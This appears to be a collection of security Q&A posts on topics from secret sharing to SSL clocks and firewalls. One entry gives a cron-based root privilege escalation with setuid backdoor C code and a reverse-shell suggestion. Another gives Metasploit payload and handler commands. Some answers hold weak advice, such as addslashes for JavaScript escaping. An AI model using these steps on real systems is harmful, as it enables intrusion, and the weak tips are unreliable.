Assuming I pick a good password for the database, how much of a risk is it, to authorize a range of IP addresses to try and login? Otherwise my only option is to be constantly changing the authorized IP address.

You are extending your trust to outsiders beyond your subnet neighbors.

  By default, MySQL uses unencrypted connections between the client and the server. This means that someone with access to the network could watch all your traffic and look at the data being sent or received. They could even change the data while it is in transit between client and server.

This, of course, means any device between you and the server and everyone with access to those devices (either authorized or unauthorized).

If the data is valuable then I would do more to ensure the security of it.  Several options exist to help you secure all the traffic, including:

MySQL supports secure (encrypted) connections between MySQL clients and the server using the Secure Sockets Layer (SSL) protocol (http://dev.mysql.com/doc/refman/5.5/en/secure-connections.html)
OpenVPN (http://openvpn.net/) and/or SSH tunneling (http://upshell.wordpress.com/2011/02/23/connecting-to-a-remote-mysql-server-securely-using-ssh-port-forwarding/), which are free.  (options mentioned by @Jeff Ferland)


How to securely share a secret/ password by between n individuals, so that majority consensus is required to retrieve the password / secret? The following constraints apply

cannot use physical storage medium (such as Safe/ Vault)
the service used to store secret/ password should be highly available and accessible from anywhere in the world.

This sounds like Secret Sharing or Secret Splitting.

Secret sharing (also called secret splitting) refers to methods for
distributing a secret among a group of participants, each of whom is
allocated a share of the secret. The secret can be reconstructed only
when a sufficient number, of possibly different types, of shares are
combined together; individual shares are of no use on their own.

More specifically Shamir's_Secret_Sharing

is an algorithm in cryptography created by Adi Shamir. It is a form of
secret sharing, where a secret is divided into parts, giving each
participant its own unique part.
To reconstruct the original secret, a minimum number of parts is
required. In the threshold scheme this number is less than the total
number of parts. Otherwise all participants are needed to reconstruct
the original secret.
Shamir's Secret Sharing (SSS) is used to secure a secret in a
distributed way, most often to secure other encryption keys. The
secret is split into multiple parts, called shares. These shares are
used to reconstruct the original secret.
To unlock the secret via Shamir's secret sharing, you need a minimum
number of shares. This is called the threshold, and is used to denote
the minimum number of shares needed to unlock the secret. Let us walk
through an example:
Problem: Company XYZ needs to secure their vault's passcode. They
could use something standard, such as AES, but what if the holder of
the key is unavailable or dies? What if the key is compromised via a
malicious hacker or the holder of the key turns rogue, and uses their
power over the vault to their benefit?
This is where SSS comes in. It can be used to encrypt the vault's
passcode and generate a certain number of shares, where a certain
number of shares can be allocated to each executive within Company
XYZ. Now, only if they pool their shares can they unlock the vault.
The threshold can be appropriately set for the number of executives,
so the vault is always able to be accessed by the authorized
individuals. Should a share or two fall into the wrong hands, they
couldn't open the passcode unless the other executives cooperated.

There is an example Python program of Shamir's_Secret_Sharing.


Password manager or two -actor authentication For the critical services, is it safer to have different complex passwords and a password manager or the same password for every service and a two-factor authentication?
The password manager is risky if it gets compromised.
On the other hand, is it really unsafe to have a unique password when we use a two-factor authentication? After all, a two-factor authentication is really hard to bypass for the serious websites. We can change this password every 6 months for example.
Assuming that having both of them is too much for our use.

According to Edward Snowden,

  Shift your thinking from passwords to passphrases

Using Passphrase:

Using passphrase is best practice rather than using passwords. Because password can be guessed or brute-force. But if you like Charles Dickens then your passphrase can be something like this,

  @a@l0v!ng@heart@!s@the@truest@w!sd0m@-by@C.D!ck4fb.c0m
  @a@l0v!ng@heart@!s@the@truest@w!sd0m@-by@C.D!ck4gma!l.c0m

Or you can use a specific command you often use like the following as a passphrase,

  $ awk-F":"'{print$1}'/var/log/random|grep'nothing'

and nobody can possibly guess or (somebody can) brute-force this. You can always develop your own logic for building passphrase.

If are paranoid like me you can add some randomly generated digits in your password which makes it more difficult to crack.
Using Password Manager:

Using password manager is not a bad idea but not a paranoid idea either. Though nowadays password manager like LastPass/onelogin etc are very secure but not totally unhackable. They can be compromised using a vulnerability (Lastpass vulnerability) or anyhow as I believe any method is compromisable. So I do not trust them neither should you.
Two-factor authentication:

These days most of the application supports two-factor authentication which is good. But if you want to use same password for two factor authentication, I don't think that's a very good idea. You just can add some different words like faceb00k#c0m (for facebook.com), ma!l.g00gle#c0m (for gmail.com) etc. of the same passphrase which will make it different.
Changing after 6 months:

Changing passphrase after 6 months is a very good idea. It reduces the attack surface. Suppose an attacker made some reconnaissance about you on last 6 months and came up with your exact password but when you change it after 6 months, you just nip the efforts of the attacker in the bud.


Making database code open source I am building a web app. It is currently not open source, but I am considering making it open source, so that others can fix bugs, improve it, so that others are not suspicious of my motives (fun to code & to create a useful tool for others - not making money) and so on. It is built on PHP and MySQL.

I am also trying to follow best practices whilst creating it. So for example, logins will be protected by SSL, passwords are hashed using the bcrypt algorithm by use of PHP's password_hash function, and I use prepared statements everywhere.

However I am unsure how to proceed as I have also heard that you do not want to expose your database structure to others. I have bits of SQL all over my pages so others would have a good idea of what is stored where from looking at this code. The only thing I'm sure of is that the script with the connection username/password should not be hosted on the source repository of my choice.

How can I/should I proceed with making my code open source?

This is a good question with a simple answer:

  Best practices cannot be applied in every situation.

The best practices of "don't tell the world what security algorithms you use" and also "don't expose your DB structure" exist as a possible fallback- just in case your code has a security flaw in it, it's much harder for someone to exploit it if they don't know how it works behind the scenes. Obviously both of these best practices directly conflict with Open Source, so you should just focus on not having security flaws in the first place. Fortunately, opening your source code will help with that.


Hijacked certificate and Remote Login. Office computer compromised with a virus? This is a Windows 10 Desktop.

This morning I checked our work computer and I noticed a lot of Security Alerts from a Spanish Godaddy Domain trying to use remote login.

There were no browsers open when this security alert appeared.
This computer does not have admin rights

I was unable to get a screenshot of what happens when you click view certificate. It said something about remote login and the domain .santillanausa.com which seems to be a Spanish language learning website.

After opening task manager I noticed a suspicous program named PROGRAM that needed admin rights to be closed and I can't click on properties.

After IT disabled PROGRAM this Security Alert has not arrived.

I was unable to get a screenshot of what happens when you click view certificate. It said something about remote login and the domain .santillanausa.com

I'm pretty sure that hxxp://santillanausa.com/ is not trying to remote login. My guess is that someone stole their certificate. I'd appreciate if anyone is aware of any exploits like this.

My question is

Is disabling PROGRAM enough to no longer be concerend of a security threat?
If this is a known exploit for Windows 10 what is it called and
how does it work?

UPDATE: It was scanned with Malwarebytes antivirus and it says there are no viruses. This makes me very nervous because there is obviously a virus on the drive.

This will probably sound like a vague answer, but without further analyses of the suspect program/executable, its activity done on-system, packet captures of the suspicious network traffic, etc., this is the 'best' answer I can come up with.

Any 'unknown' program running on a corporate system of any type is inherently a security risk.  Therefore, the existence of the program can in and of itself be considered its own security risk.  Whether the program is simply 'sitting on the computer' doing nothing, or actively running and doing something is another matter to take into consideration when responding to the existence of the program.

Without more detailed dissection and analysis, it is not possible to give you a definitive answer for your first question of "Is disabling the program enough to mitigate the security risk".  However, typically just 'shutting off' the suspicious program is not enough to stop the core cause of the risk; without more in-depth analysis, however, to say whether this is enough to disable the security risk is pure speculation (and more often than not it is safer to assume "No, this is not enough", from my experience).

However, this is not the right question to be asking.  The proper question that the IT team (and/or any relevant information security officers or teams) should be asking is "How did this program get there?"  This question is important because if it is a program installed by an end user that happened to have admin privileges, that's one thing.  If it's a program that got in there without anyone's knowledge, then you have enough to suggest that there may have been a breach somewhere - whether a user went to a site that exploited a vulnerability in the specific system or not or whether the system was hacked into by an external source or not is still to be determined.

As to your second question about whether a known Windows 10 exploit/attack vector was used to get this program to run in your environment, we can't answer that.  Any statements saying "yes" or "no" are pure speculation, and cannot be backed by any evidence.  Such evidence would be gained through analysis of the system to determine any suspicious network traffic to/from the system, any suspicious remote logins, suspicious system calls, etc., of which we can then use the data found in those investigations to determine whether or not a "known issue" was exploited or not.

As a whole, therefore, the best thing I can say in answer to your questions is this:

  Disabling the program or service, alone, is probably not enough to mitigate the risk.  However, this is not a certain answer, and without more in-depth analysis the best conclusion I can give you is that there is a potential security risk of unknown scope and risk factor on the system in question, of which additional analysis of the program's activity and behavior can help to determine such scope and/or risk factors.

If I absolutely had to make recommendations to your IT team, then it would be these, to start:

Remove the affected system from the network, and provide a new, clean machine if possible to replace this affected machine.
Submit the suspicious executable to VirusTotal or similar for analysis.
Analyze network traffic on the affected endpoint system(s) or on the network at-large to identify suspicious traffic, and from there determine potential infection vectors or system breaches through which threat actors could utilize to hijack endpoint systems or to 're-implant' the application in other systems.

But these alone are not fully-informed suggestions backed by evidence, and are more 'general' suggestions that many in the Information Security field will be giving you in response to any suspected breaches or infections; in each and every case, deeper, more in-depth analysis of the affected system and suspect executable/program is necessary to give any truly informed recommendations.


Terms for differentiating between key-exchange and public-key cryptosystem The RSA and Diffie-Hellman protocols are part of asymmetric cryptography. But is there a word to distinguish between cryptosystem like RSA (i.e. there are two keys, one for encryption and another for decryption) and Diffie-Hellman (i.e. two parties have a public and private component that they share together to achieve shared key but finding private component will be useless if there is no one to share key with).

Essentially, I am trying to differentiate between key-exchange specific protocol vs. public-key cryptosystem.

RSA - is a way to encrypt/sign data. The protocol has data as input on the one end of the channel and the same data as output on the other end.

DH - is a way to generate keys. It takes no user data as input on any end of the channel. And it has a big random (not uniformly distributed) number as an output, the same on both ends.

Yes, RSA is often used to encrypt symmetric session keys, but it's only one way to use it. In that case keys are generated outside of RSA protocol, and are only transmitted via RSA.


What attack vectors are there for a stand-alone saltstack minion? I'm interested in using SaltStack in stand-alone minion mode as a way of automating the various configs that I want to do for my personal dev environment. But as a good security conscious dev, what kind of attack vectors would I be opening myself up to here? Or are there any?

DNS

At least with the salt versions I tested (2014.1.13, shipping with Debian Jessie), the salt minion will still look for a salt master, regardless of whether file_client has been set to local or not.  As a consequence, the security of your machine is highly dependent on the trustworthiness of your DNS.

By default, a minion accepts commands from any machine called salt in its namespace.  So if your machine is named minion.example.com, and there is another machine named salt.example.com, the minion will happily accept commands from that master.  The master has to confirm that the minion's key (with salt-key), but not the other way around.  A laptop running a salt minion and being connected to an untrusted network is highly vulnerable.

I suggest adding something like 127.0.0.2 salt.example.com to your /etc/hosts file for that reason.

Configs Repository

This isn't specific to salt, but it may be worth mentioning:  A big advantage of configuration management systems is to keep the configs in code which can be kept in a version control system.  The security of all systems relies on the integrity of the respective repository.  If there is the slightest doubt about whether someone could tinker with the code in the repo, I'd recommend to cryptographically sign all commits and to verify signatures before running the latest checkout.  Git has the --sign option for committing.  The last commit can be verified with git verify-commit HEAD.


Spurious SSL Certificates when accessing sites through enterprise network I've noticed recently when I log on to sites like Hotmail that IE has been telling me there is something wrong with my SSL certs.  When I examine the certs, the Issuer appears as "Blue Coat" from "Some-state, AU", and the certification path has only one item in it:  "mail.live.com".  What's even more strange is that the IP of the Issuer is unreachable:  153.23.3.251

Call me paranoid, but this gives me the feeling my Network Admins are trying to spy on me.  Am I crazy?

Yes, your Network Admins are spying on you. The trade off is that if they do, you can't rely on the identity of any remote party you connect to via TLS; but if they don't, you might be taking advantage of the confidential channel to download malware, post proprietary documents to competitors or whatnot.

When I'm working for companies that use this type of filter, I take the filter for what it is: the IT department is assuming responsibility for the identities of remote parties I connect to. I therefore use https connections to work-related services as I normally would: if their filter gets it wrong and connects me to a fake CRM, for example, that's a decision that my IT department took on my behalf.

I avoid anything where I care about the identity of the remote end like online banking. I would never ask my sysadmin in real life whether she thought some random server was owned by my bank, I'm not going to start doing it via a proxy device either.


Is CSP enough to prevent XSS attacks Assuming that users are using modern browsers, is implementing a strict CSP policy enough to prevent all XSS attacks?

I'm working on a Backbone app, and am wondering if I still need to be escape user data on the client to display all the time.

Content Security Policy (CSP) is just a one layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. However please bear in mind that security is all about defense in depth so yes you still should implement additional security layers and please remember that preventing Cross-site Scripting Attacks(XSS) vulnerabilities in all languages requires two main considerations:

the type of sanitization performed on input
location in which that input is inserted.

It is important to remember that no matter how well input is filtered; there is no single sanitization method that can prevent all Cross-site Scripting (XSS).

The filtering required is highly dependent on the context in which the data is inserted. Preventing XSS with data inserted between HTML elements is very straightforward. On the other hand, preventing XSS with data inserted directly into JavaScript code is considerably more difficult and sometimes impossible.

For the majority of PHP applications, htmlspecialchars() will be your best friend. htmlspecialchars() supplied with no arguments will convert special characters to HTML entities.

Another function exists which is almost identical to htmlspecialchars(). htmlenities() performs the same functional sanitization on dangerous characters, however, encodes all character entities when one is available.

strip_tags() should not be used exclusively for sanitizing data. strip_tags() removes content between HTML tags and cannot prevent XSS instances that exist within HTML entity attributes. strip_tags() also does not filter or encode non-paired closing angle brackets. An attacker may be able to combine this with other weaknesses to inject fully functional JavaScript on the page.

addslashes() is often used to escape input when inserted into JavaScript variables.


Exploiting cron job running as root There is a cron job running as root on a web server every 15 minutes:

php cli-script.php

(cli stands for "Command Line Interface", so is only accessible from command-line)

It is not possible to directly modify the PHP script cli-script.php. Hower it includes another PHP script db.php which can be directly modifed as www user:

cli-script.php:

include "db.php";
...

My exploitation technique:

Modify db.php - add system() command since db.php inherits root's privileges from cron job's script, but can be edited as www-user (db.php is Writable, Readable and Executable as www user). Run all initial commands through system()
Create binary wrapper backdoor for easier further exploitation. We need to set UID to zero (root) to be able to use shells like bash/sh (SUID not used after exploit) (another way would be to use e.g. perl/python scripts)

db.php

...
system("...");
...

backdoor.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
    if (argc == 2) {
        setuid(0); // otherwise /bin/sh would use real UID
        system(argv[1]);
    } else {
        printf("1 argument expected");
    }
    return 0;
}

Detailed steps:

Compile C-code as www-user: gcc backdoor.c -o backdoor
Put sticky bit + change file owner as root: chmod +s backdoor && chown root backdoor
Put binary into /bin/ directory as root: mv backdoor /bin/backdoor
Usage (execute as www-user): backdoor "whoami" => root

Question: Is there any simpler way to exploit such vulnerability and I'm just overcomplicating everything?

Is there any simpler way to exploit such vulnerability

It would be more straightforward to simply integrate a PHP reverse shell into the db.php file; once it runs and connects to your listener, you'll be given shell-like access as root.


Securing .so file access permissions I work for a place that offers an encryption suite for Android apps in the form of a .so C library to be integrated in Android apps.
The issue is that there are only two exported functions in the .so library: an encrypt function and a decrypt function. From what I know, one can simply call those two exported functions from any environment, not just our apps.
The idea here is to protect the encryption/decryption mechanism. Assuming that static analysis won't be possible, is there a way to make sure  the .so library can only run from our apps?

If you ignore reverse engineering threat (you shouldn't), you can hide the encrypt/decrypt functions of your SO, and only let them be used from a trusted environment (see JNI_OnLoad()). E.g. you can check the package name of the application that loads your library. But just the same, you can run same checks in your encrypt() and decrypt().
Another trick is not to use the normal packaging process for the library, but unpack it manually from your APK to some location that can only be accessed from your application. This protection will not help on rooted devices. Update 2020: this trick won't work on Android API 29+ (a.k.a. Android 10), which revoked execution permissions from all writable directories.


Is it reasonable to allow Google sign-in for people who signed up "normally"? I've been thinking - let's say a user signs up for your site in the "standard" way. That is, they enter an e-mail address, maybe a user name, and a password, and complete the sign-up process. Is it then, security-wise, reasonable to later allow them to log in using Google authentication?

For example, consider the following flow:

Usidore signs up with his e-mail address, usidore@puppies.supplies
Usidore signs out, and forgets about the site for a while.
Usidore, not recalling which sign-up method he used, tries to sign in with his Google account that has the e-mail usidore@puppies.supplies, and is signed in to his original account.

My rationale is that the Google account is (as far as I know) guaranteed to be owned by the person who has access to the e-mail - the user. In case the one who has access to the e-mail is not the user, well... the hacker could perform a password reset anyway, so that shouldn't introduce any additional holes. It might even be more secure than that, thanks to Google's fuzzy anti-hacking logic.

Now, this would probably make it impossible to have +-es in your e-mail address, as Google uses them for a special purpose while other sites don't. Correct me if I'm wrong, though, and there could be a way to make that work.

In any case - would this be secure? Is there something I'm not considering, and it would not be? Would it perhaps only be secure for Gmail addresses for some reason? Maybe it'd only be secure if the user explicitly links the Google account to the site account (but then again, maybe not; I have no idea). I'd love to know.

Yes, many websites do allow this by allowing you to link a local account with the Google Account. You should send email to the old account's email address, requiring a confirmation click/code from that email, rather than requiring/assuming the same email. Security wise, this is no different than a password reset via email.

Next is that you can allow user to optionally disable local authentication and just use Google Account authentication. Give the user the option, as some users may want to sign in to your site using shared/public machines without having to authenticate to their email account so local authentication can still be useful in this case.

When a user is signing up for a new account, you can notify the user that that there is already an account with the same email with a different authentication method. You can then prompt them to sign in or reset the password on the old account to link the account to the new authentication method. For new users, they should also be allowed to create an account with just Google Account authentication, without creating local authentication.


Third-party desktop client for accessing Google Drive cloud storage I am considering signing up for a third-party service called Insync to access my Google Drive account. (Google does not offer a Linux client.)

Insync reports in its FAQ:

  Does Insync store any of my files? No we don't. None of your files ever pass through our servers.
  Does Insync store my Google account login information? Insync stores your Google email address but never your Google account password.
  Insync uses Google OAuth22 (Authorization Tokens) for authentication
  and authorization. OAuth is an open standard authorization protocol
  that allows third parties to access user data without the need to know
  a user's password.
  Just how secure are my files? Insync syncs the files directly to Google Drive's SSL connection16 (a secured connection). You give
  Insync access to your files via Google OAuth. Files are directly
  accessed via the client app to sync your files.
  What stuff do we upload to our Insync servers? We store your Google email address (never your passwords and account information), your
  platform (OS version) and Google Drive quota info (total, used,
  others, trashed).

Questions:

Would it be possible for Insync to access my files stored in Google Drive if I make an Insync account and use the desktop application? How?
Are there any precautionary measures I should take?

Would it be possible for Insync to access my files stored in Google Drive if I make an Insync account and use the desktop application? How?

Since you authorize the desktop application to access your files and since the desktop application is created by Insync they could in theory add a backdoor to the application so that they get access to your files.

  Are there any precautionary measures I should take?

Either you trust them to do the right thing or not. If you don't trust them don't use their apps. There is nothing in between.

Note that is not specific to Insync but the general question of how much you can trust 3rd party software and hardware to handle your data.


What role does clock synchronization play in SSL communcation We've recently implemented WS Trust security over SSL for our client / server communications.  Our application is used by thousands of our customers, spread out all over the world.  One of the problems we've had in the past with secure communications is that customers with unsynchronized clocks have difficulty connecting, resulting in customer calls and frustration.  Unfortunately, the reaction that has caused in the past is to simply disable this check or simply increase the acceptable clock skew to near infinite amounts.

I do not want the security of our system to be compromised, nor do I want to trigger an influx of complaints of customers who do not have their clocks closely in sync with the time on our servers (which are synced to internet time).  In order for me to prevent the synchronization check from effectively being disabled, I must first be able to explain to my managers why this is a bad idea, and why the benefits of clock synchronization outweigh the cost of customer complaints or confusion.

What role does clock synchronization play in SSL communications and what sorts of vulnerabilities does disabling it introduce?
What is typically considered to be the maximum acceptable range for clock synchronization in secure customer facing applications?

In SSL, clocks are used for certificate validation. The client needs to make sure that it talks to the right server; for that, the client will validate the server's certificate. Validation implies verifying a lot of things; two of them involve clocks:

The server's certificate (and all involved CA certificates) must include the present time in their validity time range. Each certificate as a notBefore and a notAfter fields; the current time must fall between these two dates.
The client is supposed to obtain the revocation status of each certificate, by obtaining (and validating) a CRL (Certificate Revocation List) from the appropriate issuers (the CA). A CRL is deemed acceptable if (in particular) it is "not too old": again, the CRL has a thisUpdate field that says when it was produced, and a nextUpdate field that more-or-less serves as expiration date for the CRL.

If the client's clock is off, then it will break either or both of these functionalities. For instance, the server's certificate will be considered as "long expired", or "not usable yet", leading to rejection.

Accepting that the client's clock is off means that the client is modified to disregard dates in certificates and CRL. The ultimate consequence for security is that if an attacker succeeds in stealing the private key of a server, then that attacker will be able to impersonate that server forever. The point of revocation is to have a verified method to recover from such a compromise; and the point of certificate expiration is to keep CRL from growing indefinitely. If clients disregard revocation and/or expiration, then the raw consequence is that once a compromise happens, then you are doomed forever. Which is usually considered to be a bad thing.

On a brighter note, this is a problem for clients, not for the server. If you operate the server, then it is the client's job, not yours, to validate your certificate properly. If the client really insists on doing things insecurely and being vulnerable, then you cannot really prevent it, at least not technically (you can do things contractually: if the client's incompetence allows for a breach, the client should pay for it).

On a similar note, if the clients can talk to your server, then they are connected to some sort of network, meaning that Internet-based time synchronization is a possibility. Requiring an accurate clock is challenging for some embedded devices, but it should not be for networked computers (including smartphones).


VPS with shared resources malloc attack If I understand it correctly then:

C function malloc provides a memory block with indeterminate values (which depend on the previous user of this memory block)
Shared VPS hostings share resources such as RAM and CPU

In that case, my question is: Would be possible to exploit this fact to create a C program which would repeatedly malloc and free memory and log found memory values in order to sniff out other users' important data such as passwords etc.?

If it is not possible, why not?

If it is possible, how can we prevent it from happening?

EDIT: After a long read of VMware manuals I found this one: MANUAL

Page 5, section 2.3, list item 3, lines 6 & 7:

  "In order to avoid information leaking among virtual machines, the
  hypervisor always writes zeroes to the host physical memory before
  assigning it to a virtual machine. "

So that kind of answers my question for at least one of the hypervisors. There's no way for me to verify whether it's true for all hypervisors.

C function malloc provides a memory block with indeterminate values (which depend on the previous user of this memory block)

Only on the previous usage within that program, for reasons that I will explain.

  Would be possible to exploit this fact to create a C program which would repeatedly malloc and free memory and log found memory values in order to sniff out other users' important data such as passwords etc.?

No.

When a process requests a chunk of memory from the kernel, that memory is delivered empty (zeroed out). Once a process has received that memory, it will split it up and reuse portions of it for individual malloc() calls. Most implementations of malloc() do not re-zero memory between uses, and this is where the "indeterminate values" you're referring to come from.

A program that worked the way you described would not find anything interesting. At most, it might find some of its own data in memory, but it would not find data from other processes, or from other users.


Encrypting data by parts vs encrypting the whole data Suppose I have a file with records, and I have two options to encrypt it:

encrypt the file as a whole
encrypt each record separately and store them together.

Which way is generally preferable and why?

For example, I think the second approach is worse because being implemented naïvely it would disclose information about number and size of records. But what if I add some random data to the end of each record?

Before encrypting, you must first define what kind of property you want to achieve, and what are the paths which a putative attacker may use.

Encryption is a tool for gaining confidentiality. Most security models also need some kind of controlled integrity check ("only passive" attackers are very rare). There are encryption modes which combine encryption (for confidentiality) and verified integrity, see EAX and GCM. Per record encryption implies the following:

The number and size of records leaks.
The structural integrity of the complete file is no longer guaranteed: an active attacker could remove some records, or change their order, without being detected.
There is a size overhead. Each individual encryption has a fixed size overhead, which depends on the encryption mode (this is needed for the integrity check and for an essential parameter called Initialization Vector). Having that overhead for each record requires more space that a single overhead for the whole file.
It is possible to verify the integrity of a single record without processing the whole file.
It is complex.

This last consequence should be viewed as a compelling reason not to use per-record encryption: complexity is the worst enemy of the security engineer. So unless you have an actual need for processing the file in partial chunks (i.e. it is too huge to be decrypted and checked in RAM as a whole), you should refrain from trying to implement per-record encryption.


How do hard-wired backdoors work? How can a vulnerability be hardwired?

Just read this article, which got me thinking. Is there simply vulnerable software running on a piece of hardware that is read/write only or..?

A chip is basically works like this: It gets some input (commands and data), does some calculations and generates some output. It may have internal memory.

FPGA (Field-programmable gate array) are blank standard chips that are "programmed" by the customers on the gate level (very close to the hardware).

Smartcards

Let's take Smartcards as an example: The chip offers commands to generate or store a private key to its internal memory. But it does not have a command to output the private key according to specification.

So the private key is protected, and all calculations that involve the private key have to be done on card.

But if there were a hidden command to read the private key from the protected area of internal memory, an attacker could copy the card.

Progammable Chips

Many chips are not completely hard-wired but execute Microcode. This microcode runs within the chip and provides the programming interface (machine code) that is used to access the chip from the outside. Typically the microcode can only be written to the chip but not read from it. This might be used to protect intellectual property or sensitive algorithms and keys.

There may be a debug interface, which allows reading of the code, unless a flag was set on upload. But a backdoor might offer access anyway.

Have there been successful attacks on hardware?

The rent-a-bike service by Deutsche Bahn was hacked because they forgot to set the no-debug flags, which allowed the attacker to read the memory.
Stuxnet used the official programming interface by manipulating the management software, so this is no real backdoor.
The university of Uni Cambridge published a paper about such a backdoor in standard chips used by the military for weapons, flight control and by industry for nuclear power plants. According to their analysis the backdoor was not inserted by the Chinese hardware vendors but by the US-American designers.

This topic is not new: In 2009 a paper on Hardware Trojan Horse Detection
Using Gate-Level Characterization was published for example. (Link in comment section because of StackExchange bug).

It is perfectly fine to have such features for debugging, as long as they are documented and can be switched off for production use. According to the press coverage in the recent case, the company sold their chips as "military grade", advertising that the stored information cannot be read. So this debug features turns into a backdoor.


Extrapolating home address of a visitor when they click on an e-mail phishing link (Mr Robot) In Mr Robot season 3, the feds are set up in a safe house spying on Elliot's internet communications (with packet sniffers?) when they intercept an email from Elliot to someone else containing a link that they think is secret information. When Elliot breaks into their safe house shortly after, they realize that clicking the link was Elliot's way of phishing them.
Does this count as phishing? How could he have derived the street address of the safe house, when usually internet visitors are identified online only by an IP address?
And if we assume the feds were smart enough to use onion routing to hide their true IP address, by what other (technical) means would Elliot have still managed to track down their street address just by luring them to an internet link?

Does this count as phishing?

While people classify multiple things as phishing (often almost calling phishing almost anything), I wouldn't consider this as such, since no credentials are stolen. See for instance PhishTank definition:

Phishing is a fraudulent attempt to get you to provide personal information, including but not limited to, account information.

On the other hand, if the link led them to a page where they provided their FBI username and password, then I would count it as phishing.

How could he have derived the street address of the safe house, when usually internet visitors are identified online only by an IP address?

Through the ISP. While there are databases (both free and commercial) that geolocate IP addresses, they don't work with such precision as to identify an IP address as a given residential house.
The ISP will be assigning IP addresses to the customers (either quite statically, or potentially a new one each time they reboot they router), and only the ISP would know to which address they are assigned a given IP address at a certain time. This should in principle only be disclosed through a subpoena, although it would be possible for Elliot to have access to that if:

Elliot himself worked for the ISP and had access to such data
Elliot obtained that data from someone which had (legitimately or illegally) access to it (e.g. through bribery, blackmailing…)
Elliot has compromised the database where the ISP stores such data

Other ways to obtain the address not involving the ISP would include:

The page used the geolocation API to query the browser where it is and

somehow the feds granted the browser permission to disclose it
the browser itself has an accurate notion of its position, such as a smartphone with a GPS receiver

they provided the address to another service, and Elliot was able to fetch that from the other service.
For example: they previously bought pizzas from that connection, and provided their physical address for delivery. Elliot was able to look up (he compromised the pizza company?) that someone from that IP address requested a pizza to a given location 3 hours ago and concluded that the person currently using that same IP address is at that address.


How to connect to a meterpreter session opened manually on the target machine I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload to an .exe using msfvenom:

msfvenom -p windows/meterpreter_bind_tcp LPORT=5555 -f exe > bindtcp5555.exe

I then uploaded that executable to the target machine using the java meterpreter and started the process using a native shell:

meterpreter> upload ./bindtcp5555.exe
...
meterpreter> shell
...
C:.../Desktop> start bindtcp5555.exe

I confirmed that the target is listening on port 5555 using nmap. But now I am stuck, how do I connect to that meterpreter session using msfconsole?

I received some help on this offline, and I will post my solution here. I was pointed to this article: https://www.sciencedirect.com/topics/computer-science/meterpreter-shell

Essentially, you need to use the module multi/handler to open a session with the remote meterpreter session. Furthermore, I misunderstood the LPORT option: it is the port on the attacking machine that the remote meterpreter will report back to. You also need to set the LHOST option to the attacking computer's IP address.

After uploading the exe to the victim and starting the process, run multi/handler from the attacker:

msf5> use multi/handler
msf5 exploit(multi/handler)> set exploit windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler)> set LHOST <HOST_IP>
msf5 exploit(multi/handler)> set LPORT <HOST_PORT>
msf5 exploit(multi/handler)> set ExitOnSession False
msf5 exploit(multi/handler)> exploit -j

*note, it is important that HOST_IP and HOST_PORT match what you had set in the payload when using msfvenom.

This should open a meterpreter session which can be accessed using sessions -i N (where N is the session number).


Do non-keyboard characters make my password less susceptible to brute forcing? I can put characters in my password for which there are no keys on a keyboard.  On Windows, Alt+#### (with the numpad) inserts the character for whatever code you type in.

When I put this in a password, does it pretty much guarantee that it will never be brute forced?  I'm probably not the first to think of this, but am I right in guessing that attackers will never consider it worth their time to check non-keyboard characters?  Is this even something they are aware of?

If that is the case, with a single non-keyboard character somewhere in your password you'd never have to worry about keeping the rest of the password strong.

When I put this in a password, does it pretty much guarantee that it
  will never be brute forced?

A brute force attack on a password tends to happen one of two ways: either an attacker obtains a hashed password database, or an attacker attempts to login to a live system with a username (or other account identifier) and password. A common method of attacking hashed password databases is to use a precomputed set of values and hashes called a rainbow table. See What are rainbow tables and how are they used? A rainbow table is not a pure brute force attack because it uses less than the full domain of possible inputs. Since a true brute force uses attack every possible input, regardless of whether it is an attack on a hashed password database or a live system login, no character set selection or combination of different sets will make any difference to a brute force attack. Practically true brute force attacks are rare. Rainbow table attacks are more common, and using a value from a uncommon set will be an effective defense against many rainbow table attacks.

  am I right in guessing that attackers will never consider it worth
  their time to check non-keyboard characters? Is this even something
  they are aware of?

There are attackers out there who will use uncommon input sets to try and attack passwords, but I suspect they are rare. Any reasonably sophisticate attacker has thought about things like non-keyboard characters, and most make an economic decision to go after the easier targets. There are plenty of targets with poor and weak passwords, so attackers design attacks for these weak passwords. So, yes, many (but not all) attackers consider strong passwords not 'worth their time'.

  with a single non-keyboard character somewhere in your password you'd
  never have to worry about keeping the rest of the password strong.

No. Strength is a measure or resistance to attacks. If your password is a single non-keyboard character it is weaker than a password of 33 lower case characters. The length in bits is an important measure of password strength. Bits instead of characters, because cryptographic computations like hashes are done in bits, not in characters. A character set, like the set of non-keyboard characters, is only one element in making strong passwords, it is not strong by itself.


How much of your web browsing behavior is VISIBLE to the administrators when you're behind HTTPS or VPN? For example. If you're behind a VPN and want to get on on facebook and youtube. Will all outgoing traffic need to make a request to the firewall first?

I don't really know extensively how well a firewall would catch all of this and more specifically how traffic is routed on an internal network.

This is not so I can slack off at work or school, but rather so that I can get a better idea of how exactly these things work below the surface. On a high level I get that the VPN is a "point to point" connection, but if your only source was a school or company network isn't it pretty pointless whether youre behind a vpn or not because 1.) VPN rules/ports may not even be allowed on FW to begin with and

2.) VPN has to send  and receive outgoing and incoming requests.

How are these rules different if youre checking your email behind HTTPS?

A firewall is a device that sits between the Local Area Network (LAN) and Wide Area Network (WAN).  I stole this picture from the Firewall wiki page.

Rules are setup on the firewall based on IP and port numbers.  You can restrict subnets of IPs from using certain ports.  Rules for both incoming and outgoing communication is generally necessary.  There can also be deep packet inspection where the firewall goes deeper into the networking layers for a more fine grain filter.  But this is all a firewall is, a filter.  No requests to the firewall happen.  Packets just get sent through, and some (normally most) will be blocked.

The thing about HTTPS is that the domain name is still visible to the firewall in a couple ways.  DNS requests for the domain are visible.  A firewall can block DNS requests to specific domains.  The URL is also visible in certain SSL/TLS extensions, and the server certificate.  A firewall could inspect this application data, and block based on the domain provided by the server's certificate.

You're correct.  Attempting to use a proxy or VPN might be blocked by the firewall if the rules are setup to block them.
I'm not really sure what the question is here.  But yes a VPN must be allowed by the firewall in both directions.

If you're using email protocols (IMAP, POP3, SMTP) then those rules must be allowed by the firewall.  If you're checking Gmail, then again the domain can be blocked by the firewall.


